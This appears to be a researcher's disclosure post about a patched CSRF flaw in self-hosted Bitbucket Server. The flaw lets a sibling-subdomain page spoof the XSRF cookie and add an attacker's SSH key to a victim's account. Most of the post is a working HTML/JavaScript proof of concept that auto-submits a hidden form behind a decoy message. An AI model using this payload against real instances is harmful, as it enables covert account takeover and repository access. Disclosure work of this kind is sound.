All Articles

Bitbucket CSRF on SSH Add Key Endpoint via superdomain cookie

In October 2022 I found a pretty specific CSRF vulnerability on Bitbucket Server (the self hosted version). Since it has now been patched*, here are the details.

Summary

Assuming your bitbucket instance is hosted on a shared superdomain, e.g. bitbucket.corpo.internal and that attacker can control javascript execution on a sibling domain, e.g. evil.playground.corpo.internal.

By setting a superdomain cookie, an attacker could spoof the atl.xsrf.token from a sibling domain and thereby bypass the CSRF protection on the page for adding an SSH key to your account (/plugins/servlet/ssh/account/keys/add).

By abusing this, an attacker with some internal access could via a malicious link add their SSH key to a victim account.

Words are hard, so here is a gif demoing the attack.

GIF showing the attack click for larger

PoC

Here’s a proof of concept that hopefully explains it better than a lengthy essay.

<!-- Host this on some.other.subdomain.corpo.internal -->
<!-- Host bitbucket server on bitbucket.corpo.internal -->
<html>
    <head>
        <meta charset="utf8" />
    </head>
    <script>
        document.cookie =
            'atl.xsrf.token=13371337133713371337133713371337;expires=1797039587484;domain=corpo.internal;path=/'

        // Setting the path here seems to put this cookie first, nice!
        document.cookie =
            'atl.xsrf.token=13371337133713371337133713371337;expires=1797039587484;domain=corpo.internal;path=/plugins/servlet/ssh/account/keys/add'

        function onload() {
            const els = document.getElementsByTagName('form')
            for (let i = 0; i < els.length; i++) els[i].submit()
        }
    </script>

    <body onload="onload()" style="padding: 300px">
        <form
            style="display: none"
            id="ssh-key"
            method="post"
            action="https://bitbucket.corpo.internal/plugins/servlet/ssh/account/keys/add"
            target="result"
        >
            <textarea name="text" id="hehe">
ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDTbs0XOd+B3vEB86v18GRIMqZCk9VQfARFUPw26cfigSDZsl5HO2RwUwuwpGs+FREPRqPQeYMhNmwo/f+IFrm344VlKchDVBf7zFQuNK1SMJDfh6ixGEE7VRru9ZgolgUBQK5m31JMuyAi88ws6AIV18ZVcQmB3U2dh6a1Z+lGpX56Ih7MorFt9RwCByEol/ph6x2DYsonRr7esHp73lxHsg0v7WalXxaJzk2VV+RMonIdFJB1fYZsDtI4ZWNf3MRtclbQ30WcCpYdLtQ6BJ1xzF5KLXQFEMUgGPcEkRED4/eoZR6eSxJAE6esHOuAgpuy0f3pdh2ATSPhCZIe4G93p3qte3VPrC2Qf2mDCTtgpnz63lL/6Nmi66UxKHDaOzj1wb++GTM03fakr5cI7KCXxWDdYIe8RdbKH+ZzWWSautnRRlnqGIJCut0cKjd+zJHG3bS+xbkRVpQQtrNDyddZs+TL9s3+1m0JbLjxwadI0eSj3Z5gbTee9UlS3cpOpW0= hehehe</textarea
            >
            <input
                type="text"
                name="atl_token"
                value="13371337133713371337133713371337"
            />
            <input type="submit" name="Add+key" />
        </form>

        <h1 id="msg">Generating Super Secure SSH key for you...</h1>

        <iframe style="display: none" id="result" name="result"></iframe>
    </body>
</html>

To actually run it together with bitbucket, you can try a dockerized setup I packaged: /zips/bitbucket-ssh-csrf-poc.zip.

Disclosure

I reported the issue via bugcrowd on October 21st, but it was closed as a duplicate. bitbucket bugcrowd

The vulnerability was not assigned a CVE, and it did not get published as a security fix. https://jira.atlassian.com/browse/BSERV-13548